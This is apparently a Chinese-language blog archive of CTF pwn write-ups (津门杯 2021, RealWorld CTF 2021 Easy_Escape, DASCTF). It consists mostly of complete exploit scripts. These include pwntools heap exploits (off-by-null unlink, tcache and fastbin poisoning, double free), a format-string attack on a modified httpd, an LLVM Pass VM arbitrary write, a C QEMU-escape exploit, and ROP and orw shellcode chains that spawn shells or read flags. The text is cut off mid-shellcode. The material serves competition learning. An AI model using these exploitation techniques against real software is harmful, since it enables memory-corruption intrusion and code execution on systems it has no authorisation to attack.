分类 Other CTFs 下的文章

这是津门杯 2021的一个pwn

题目很明显的off-by-null,第一思路肯定是:构造unlink->overlap->leak->tcache_attack。

但是由于是strcpy向堆内存中复制,所以不能同时构造prev_sizesize域。首先很自然的想到了循环递减字符的方法清空prev_size,然后写入需要的值。但是想错了一个地方,我以为所有堆块在释放前都要被检查inuse(p),这样使得循环递减的方法无法使用(因为这需要先溢出覆盖好sizenot inuse标志)。但是查阅源码后发现,如果不定义MALLOC_DEBUG的话,是不会有这个检查的,所以是我多虑了。

整理思路之后确定:用两个unsorted chunk夹住一个unsorted chunk和一个tcache chunk,unlink构造overlap之后用被夹住的unsorted chunk泄露地址,用tcache chunktcache attack__free_hook

吸取经验,ptmalloc各个流程的检查还是要明晰一下的。

exp on Ubuntu16.04

from pwn import *

p = process("./pwn")
#p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    add(b"AAAA", 0x90, b"unsorted", 100) #0
    add(b"AAAA", 0x68, b"vuln", 100) #1
    add(b"AAAA", 0x68, b"vuln", 100) #2
    add(b"AAAA", 0xf0, b"AAAA", 100) #3
    add(b"split", 0x10, b"split", 100) #4
    #delete(0) into unsorted bin

    delete(2)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #2
    for i in range(7, -1, -1):
        delete(2)
        add(b"AAAA", 0x68, b"a"*(0x60+i), 100) #2
    delete(2)
    add(b"AAAA", 0x68, b"a"*0x60 + p64(0x180), 100) #2
    delete(0)
    delete(3) # unlink

    # leak libc
    add(b"BBBB", 0x90, b"BBBB", 100) #0
    #add(b"BBBB", 0x68, b"BBBB", 100) #0
    gdb.attach(p)
    show(1)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 88 - 0x10 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_gadget = libc_base + 0x4527a
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("one_gadget:", hex(one_gadget))

    # fastbin attack
    add(b"BBBB", 0x68, b"BBBB", 100) #3
    add(b"BBBB", 0x68, b"BBBB", 100) #5
    delete(1)
    delete(5)
    delete(3)

    add(b"tmp", 0x68, p64(fake_chunk), 100) #6
    add(b"tmp", 0x68, "tmp", 100) #7
    add(b"tmp", 0x68, "tmp", 100) #8
    add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9
    print("malloc_hook:", hex(malloc_hook))

    # getshell
    delete(2)
    add(b"tmp", 0x68, "tmp", 100, False) #2


    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

exp on ubuntu18.04

from pwn import *

#p = process("./pwn")
p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    for i in range(7):
        add(b"AAAA", 0xf0, b"unsorted", 100) #0-6
    add(b"AAAA", 0xf0, b"unsorted", 100) #7
    add(b"AAAA", 0x68, b"vuln", 100) #8
    add(b"AAAA", 0xf0, b"unsorted", 100) #9
    for i in range(6):
        delete(i) #del 0-5
    delete(7)
    add(b"split", 0x10, b"split", 100) #0 split
    delete(6) 

    ## offbynull
    delete(8)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #1  
    ## make up prev_size  
    for i in range(8):
        delete(1)
        add(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1
    delete(1)
    add(b"AAAA", 0x68, b"a"*0x60+p64(0x270), 100) #1
    delete(9) #delete 9 unlink
    #gdb.attach(p)

    # leak libc
    add(b"show", 0xf0, b"show", 100) #2
    add(b"BBBB", 0xd0, b"BBBB", 100) #3
    add(b"BBBB", 0x10, b"BBBB", 100) #4
    show(2)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 96 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))

    # tcache attck
    add(b"tmp", 0x68, b"tmp", 100) #5
    delete(5)
    delete(1)
    add(b"BBBB", 0x80, b"BBBB", 100) #1
    add(b"BBBB", 0x160, p64(free_hook), 100) #5

    # rewrite freehook
    add(b"CCCC", 0x68, b"/bin/sh\x00", 100) #6
    add(b"CCCC", 0x68, p64(system), 100) #7
    print("free_hook:", hex(free_hook))
    delete(6)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

题目很有意思,学到很多

parser

这题是一个魔改的httpd,Content-Length小于0时存在格式化串漏洞,leak后写one_gadget即可

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

aaaaa'''

req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

||%8$p||%15$p||%213$p||
'''

def send_req(request):
    p.sendafter(b"> ", request)

def exp():
    # leak stack libc image_base
    send_req(req_leak)
    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop = True), 16)
    image_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_base = libc_leak - 0x21b97
    image_base = image_leak - 0x14a8
    one_gadget = libc_base + 0x4f3c2
    system = libc_base + libc.symbols[b"execve"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = image_base + 0x16a3
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96
    print("stack_leak:", hex(stack_leak))
    print("image_leak:", hex(image_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("image_base:", hex(image_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # attack_ret_addr

    main_ret = 0x5a8 + stack_leak
    print("main_ret:", hex(main_ret))

    for i in range(6):
        payload = req_base.encode()
        payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
        payload += p64(main_ret+i)
        print(len(payload))
        send_req(payload)

    # trigger main_ret->one_gadget
    send_req("11111")

    # ./getflag
    p.interactive()

if __name__ == "__main__":
    exp()

simpleVM

这里的漏洞出在LLVM Pass,LLVM核心库提供了一些"Pass"类让开发者可以去继承然后实现想要的功能。主要的作用就是把编译过程中间的IR喂给自定义的Pass从而进行一些针对性的、机器无关的优化。这题的Pass实现了一个由push pop store load add min组成的虚拟机,由于没有边界限制,且主程序没开PIE保护,所以很容易进行任意地址读写。

README.txt

Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

exp.c

void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
    add(1, 0x77e100);
    load(1);
    add(2, 0x72a9c);
    store(1);
}

exp.bc

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
  call void @add(i32 1, i32 7856384)
  call void @load(i32 1)
  call void @add(i32 2, i32 469660)
  call void @store(i32 1)
  ret void
}

declare void @add(i32, i32) #1

declare void @load(i32) #1

declare void @store(i32) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}

manager

用二叉树管理内存的堆题,特定条件下删根节点会double free。

伪代码看的我血压升高,直接调确定一种情况比如根节点有左右节点,且右节点有两个叶子。这样free掉根节点时会出现loop chain。慢慢利用就行。

exp

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"

# header: 0x555555554000+0x202018

def add(key:int, length:int, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"key> ", str(key).encode())
    p.sendlineafter(b"len> ", str(length).encode())
    p.sendafter(b"content> ", content)

def delete(key:int):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"key> ", str(key).encode())

def show():
    p.sendlineafter(b"> ", b"3")

def exp():
    # leak libc
    add(1, 0x420, b"unsorted")
    add(2, 0x420, b"unsorted2")
    delete(1)
    delete(2)
    add(5, 0x10, b"5"*8)
    show()
    p.recvuntil(b"55555555")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ec090
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    # build double free
    add(7, 0x10, b"7"*8)
    add(6, 0x10, b"6"*8)
    add(4, 0x10, b"4"*8)
    add(8, 0x10, b"8"*8)
    delete(8)

    delete(5)
    add(10, 0x10, p64(free_hook))
    add(11, 0x10, b"/bin/sh\x00")
    add(12, 0x10, p64(system))
    print("free_hook:", hex(free_hook))

    delete(11)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

一个QEMU逃逸题,虽然漏洞的逻辑也不复杂,但是此类UAF利用思路可以借鉴一下,还是很有价值的。

转自:http://pzhxbz.cn/?p=166

Easy_Escape is a qemu escape challenge in RealWorld CTF 2021,It implement a deivce named fun and has two operations: fun_mmio_write and fun_mmio_read.The code is simple:

void fun_write(struct FunState *fun,int addr,int val) {
    switch (addr) {
    case 0x0:
        fun->req_total_size = val;
        break;
    case 0x4:
        fun->addr = val;
        break;
    case 0x8:
        fun->result_addr = val;
        break;
    case 0xc:
        fun->FunReq_list_idx = val;
        break;
    case 0x10:
        if (fun->req) {
            handle_data_read(fun, fun->req,fun->FunReq_list_idx);
            break;
        }
        else{
            break;
        }
    case 0x14:
        if (fun->req) {
            break;
        }
        else {
            fun->req = create_req(fun->req_total_size);
            break;  
        }
    case 0x18:
        if (fun->req) {
            delete_req(fun->req);
            fun->req = 0;
            fun->req_total_size = 0;
            break;
        }
        else{
            fun->req = 0;
            fun->req_total_size = 0;
            break;
        }
    }
    return 0;
}
int fun_read(struct FunState *fun, int addr) {
    int ret_data = -1;
    switch (addr) {
    case 0x0:
        ret_data = fun->req_total_size;
        break;
    case 0x4:
        ret_data = fun->addr;
        break;
    case 0x8:
        ret_data = fun->result_addr;
        break;
    case 0xc:
        ret_data = fun->FunReq_list_idx;
        break;
    case 0x10:
        if (fun->req) {
            handle_data_write(fun, fun->req,fun->FunReq_list_idx);
            break;
        }
        else {
            break;
        }
    }
    return ret_data;
}

In fun_mmio_write , we can malloc and free req’s buffer,and write data into it. In fun_read, we can read data from req. In handle_data_read, there is something strange:

void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
  uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  result = val;
  dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 126 && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }

put_result can write a data to somewhere, it seems useless. But if put_result write the device’s address + 0x18, it free req before we write, so it can cause a uaf.

After that , it was easy to solve. In my exploit, I leak thread arena and req’s address firstly. But I think my ways to leak req’s address may be unstable.I leaked tcache list first, next I use absolute offset calculate the the fd address to locate the req’s address. If there be more malloc or free operation, my way will get wrong address.

After leak req’s address, we can use uaf to overwrite tcache’s list point to the address which req will be, like this:

then modify the pointer in req can get anywhere write and anywhere read. I leaked the thread anera’s next and get main arena’s address, finally write free_hook to system to get the shell. Here’s the finally exp:

#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>


#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define DEVICE_ADDR 0x00000000febf1000
#define    page_map_file     "/proc/self/pagemap"
#define    PFN_MASK          ((((uint64_t)1)<<55)-1)
#define    PFN_PRESENT_FLAG  (((uint64_t)1)<<63)


#define u64 unsigned long long
#define u32 unsigned int
#define u8 unsigned char

unsigned char* mmio_mem;
size_t pmio_base=0xc050;

void die(char*s)
{
  puts(s);
  exit(-1);
}

size_t mem_addr_vir2phy(u64 vir)
{
    int fd;
    int page_size=getpagesize();
    unsigned long vir_page_idx = vir/page_size;
    unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
    uint64_t pfn_item;

    fd = open(page_map_file, O_RDONLY);
    if (fd<0)
    {
        printf("open %s failed", page_map_file);
        return -1;
    }

    if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
    {
        printf("lseek %s failed", page_map_file);
        return -1;
    }

    if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
    {
        printf("read %s failed", page_map_file);
        return -1;
    }

    if (0==(pfn_item & PFN_PRESENT_FLAG))
    {
        printf("page is not present");
        return -1;
    }
    close(fd);
    return (pfn_item & PFN_MASK)*page_size + vir % page_size;
}

#include <stdint.h>
void mmio_write(size_t addr, size_t value)
{
  *((uint32_t *)(mmio_mem + addr)) = value;
}
size_t mmio_read(size_t addr)
{
    return *((uint32_t *)(mmio_mem + addr));
}
size_t pmio_write(size_t addr, size_t value)
{
    outl(value,addr);
}
size_t pmio_read(size_t addr)
{
    return (size_t)inl(addr);
}
void open_pmio()
{
    // Open and map I/O memory for the device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
}
void open_mmio()
{
    // Open and map I/O memory for the device
    int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
    printf("open mmio at %p\n",mmio_mem);
}

void* mmap_new()
{
    return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}

unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};
//{0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x56,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};

void* maps[100] = {0};

void alloc_req(u64 num)
{
  mmio_write(0,(num-1) << 10);
  mmio_write(0x14,123);
}
void dele_req()
{
  mmio_write(0x18,233);
}
void read_device(u64 index,u64 des_addr,u64 res_addr)
{
  u64 real_addr = des_addr - (index << 10);
  mmio_write(0xc,index);
  mmio_write(0x4,real_addr);
  mmio_write(8,res_addr);
  mmio_read(0x10);
}
void write_device(u64 index,u64 src_addr,u64 res_addr)
{
    u64 real_addr = src_addr - (index << 10);
    mmio_write(0xc,index);
    mmio_write(0x4,real_addr);
    mmio_write(8,res_addr);
    mmio_write(0x10,233);
}
u8 test_buf[0x10000];
u64 write_bufs[0x100];

void print_hex(u64 *a,size_t len)
{
  for(int i=0;i<len;i++)
  {
    printf("%p ",a[i]);
    if(i%4 ==0)
    {
      puts("");
    }
  }
  puts("");
}
void read_anywhere(u64 addr,u64 req_addr)
{
  void* test = &test_buf;
  u64* test_ptr = test_buf;
  test_ptr[0] = 0x0000000000000400;
  test_ptr[1] = addr;
  test_ptr[2] = req_addr;
  write_device(1,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  read_device(0,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  return;
}
void write_anywhere(u64 addr,u64 req_addr)
{
  void* test = &test_buf;
  u64* test_ptr = test_buf;
  test_ptr[0] = 0x0000000000000400;
  test_ptr[1] = addr;
  test_ptr[2] = req_addr;
  write_device(1,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  write_device(0,mem_addr_vir2phy((void*)&write_bufs),mem_addr_vir2phy(test+0x100));
  return;
}

char cmd[] = "/bin/bash -c '/bin/bash'";

int main(int argc, char *argv[])
{
  setbuf(stdin,0);
  setbuf(stdout,0);
  setbuf(stderr,0);
  void* test = &test_buf;//mmap_new();
  printf("%p\n",test);
  //memset(test,0x90,0x1000);
  printf("%p\n",mem_addr_vir2phy(test));
  //scanf("%s",test);
  open_mmio();
  int a;
  u64* test_ptr = test_buf;
  alloc_req(5);
  dele_req(5);
  alloc_req(5);
  u64 leak_thread_arena = 0;
  u64 tcache_addr[10] = {0};
  for(int i=0;i<5;i++)
  {
    read_device(i,mem_addr_vir2phy(test),mem_addr_vir2phy(test + 0x100));
    u64* t = test;
    u64 res = *t;
    printf("%d:%p\n",i,res);
    if(!res)
    {
      continue;
    }
    if(res != 0)
    {
      leak_thread_arena = (res>>24) << 24;
    }
    tcache_addr[i] = res;
  }
  printf("leak arena %p\n",leak_thread_arena);
  printf("leak tcache:");
  for(int i=0;i<10;i++)
  {
    printf("%p ",tcache_addr[i]);
  }
  puts("");
  //scanf("%d",&a);
  //printf("finish");
  // start tigger uaf
  dele_req();
  for(int i=0;i<2;i++)
  {
    alloc_req(2);
    dele_req();
  }
  alloc_req(3);
  u64 req_addr = tcache_addr[3] - 0x410;
  printf("guess req addr %p\n",req_addr);
  test_ptr[0] = req_addr;
  test_ptr[1] = 0;
  write_device(2,mem_addr_vir2phy(test),DEVICE_ADDR + 0x18);
  scanf("%d",&a);
  alloc_req(2);
  read_anywhere(leak_thread_arena+0x20 + 0x870,req_addr);
  //print_hex(test_ptr,30);
  u64 leak_next_arena = test_ptr[0];
  printf("leak next %p",leak_next_arena);
  read_anywhere(leak_next_arena + 0x870,req_addr);
  u64 leak_libc = test_ptr[0];
  u64 libc_base = leak_libc - 2014080;
  printf("leak libc base %p",libc_base);
  u64 system_addr = libc_base + 349200;
  u64 free_hook = libc_base + 2026280-0x200;
  memset(write_bufs,0,sizeof(write_bufs));
  write_bufs[64] = system_addr;
  memcpy(&write_bufs,cmd,sizeof(cmd));
  write_anywhere(free_hook,req_addr);
  dele_req();
  return 0;
}

before

周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。

特别吐槽一下服务器...老是断

fruitpie

拿一个大堆块可以得到一个新段,其地址和glibc映射到内存中的起始地址是个固定偏移,onegadget一把梭

from pwn import *

#p = process("./fruitpie", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50102)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# big chunk offset: 0x100000ff0

def exp():
    #gdb.attach(p, "b *$rebase(0xceb)\nc\n")
    p.recvuntil(b"Enter the size to malloc:\n")
    p.sendline(b"-1")
    mem_ptr = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = mem_ptr + 0x100000ff0
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    realloc_hook = malloc_hook - 0x8
    realloc = libc_base + libc.symbols[b"realloc"]
    one_gadget = libc_base + 0x4f3c2
    print("mem_ptr:", hex(mem_ptr))
    print("malloc_hook:", hex(malloc_hook))
    p.recvuntil(b"Offset:\n")
    p.sendline(hex(realloc_hook-mem_ptr))
    p.recvuntil(b"Data:\n")
    p.send(p64(one_gadget) + p64(realloc+6))

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()

ParentSimulator

嫌麻烦就不用setcontext了,直接泄露environ在栈上构造orw ropchain

from pwn import *
import time
import os

#p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("pwn.machine.dasctf.com", 51503)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new_child(idx:int, sex:int, name):
    menu(1)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())
    p.recvuntil(b"Please input your child's name:\n")
    p.send(name)

def change_name(idx:int, name):
    menu(2)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())    
    p.recvuntil(b"Please input your child's new name:\n")
    p.send(name)

def show_name(idx:int):
    menu(3)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def remove(idx:int):
    menu(4)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def edit(idx:int ,desc):
    menu(5)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"Please input your child's description:\n")
    p.send(desc)

def secret(idx:int, sex:int):
    menu(666)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())

def exp():
    # leak libc
    ## fill tcache
    #gdb.attach(p, "b *$rebase(0x1cbd)\nc\n")
    for i in range(7):
        new_child(i, 1, b"tcache")
    new_child(7, 1, b"AAAA")
    new_child(8, 1, b"BBBB")
    for i in range(7):
        remove(i)
    ## overlapp chunk
    remove(7)
    for i in range(7):
        new_child(i, 1, b"reget")
    new_child(9, 1, b"CCCC")
    for i in range(7):
        remove(i)
    remove(7)
    ## leak
    show_name(9)
    p.recvuntil(b"Name: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    free_hook = libc_base + libc.symbols["__free_hook"]
    malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    environ = libc_base + libc.symbols["__environ"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("malloc_hook:", hex(malloc_hook))

    # leak heap
    for i in range(7):
        new_child(i, 1, b"reget") # clean tcache bin
    new_child(0, 1, b"DDDD")
    remove(0)
    new_child(1, 1, b"DDDD")
    remove(0)
    show_name(1)
    p.recvuntil(b"Gender: ")
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    new_child(0, 1, b"clean") # clean tcache bin

    # tcache attack
    new_child(0, 1, b"EEEE")
    remove(8) # add tcache count
    remove(0)
    new_child(1, 1, b"EEEE")
    remove(0)
    secret(0, 2)
    change_name(1, p64(heap_base+0x10)[0:7])

    new_child(2, 1, b"XXXX") 
    new_child(2, 1, b"FFFF") #get heap_struct
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(environ-0x10)[0:7]
    edit(2, heap_struct)
    # fastbin attach

    # leak_environ
    new_child(0, 1, b"XXXX")
    show_name(0)
    p.recvuntil(b"Description:")
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
    main_ret = stack_leak - 0x100
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))

    # attack ret addr
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(main_ret-0x10)[0:7]
    edit(2, heap_struct)

    # build rop
    new_child(0, 1, b"XXXX")
    pop_rdi_ret = libc_base + 0x26b72
    pop_rsi_ret = libc_base + 0x27529
    pop_rdx_r12_ret = libc_base + 0x11c1e1

    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x10) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_base+libc.symbols["open"])
    rop += p64(pop_rdi_ret) + p64(4)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["write"])
    print("len(rop):", hex(len(rop)))
    edit(0, rop)

    # exit and rop
    menu(6)
    time.sleep(1)
    p.send(b"/flag\x00")

    p.interactive()

if __name__ == "__main__":
    exp()

clown

这题比较有意思,用了safe-linking机制,不过网上已经有很多文章介绍了,不再赘叙。主要是泄露tcache bin上一个正常fd为0的(尾部)chunk的fd指针,就可以得到pos>>12,结合其它堆块fd的值算出heap base。由于地址可能存在0截断,所以exp里面分成两部分leak后合并。最后老套路setcontext执行mprotect然后跳到shellcode。

from pwn import *

p = process(["./ld-2.32.so", "./clown"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./clown")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

# orw shellcode
shellcode = asm('''
sub rsp, 0x800;
push 0x67616c66;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall;

mov edi, eax;
mov rsi, rsp;
mov edx, 0x100;
xor eax, eax;
syscall;

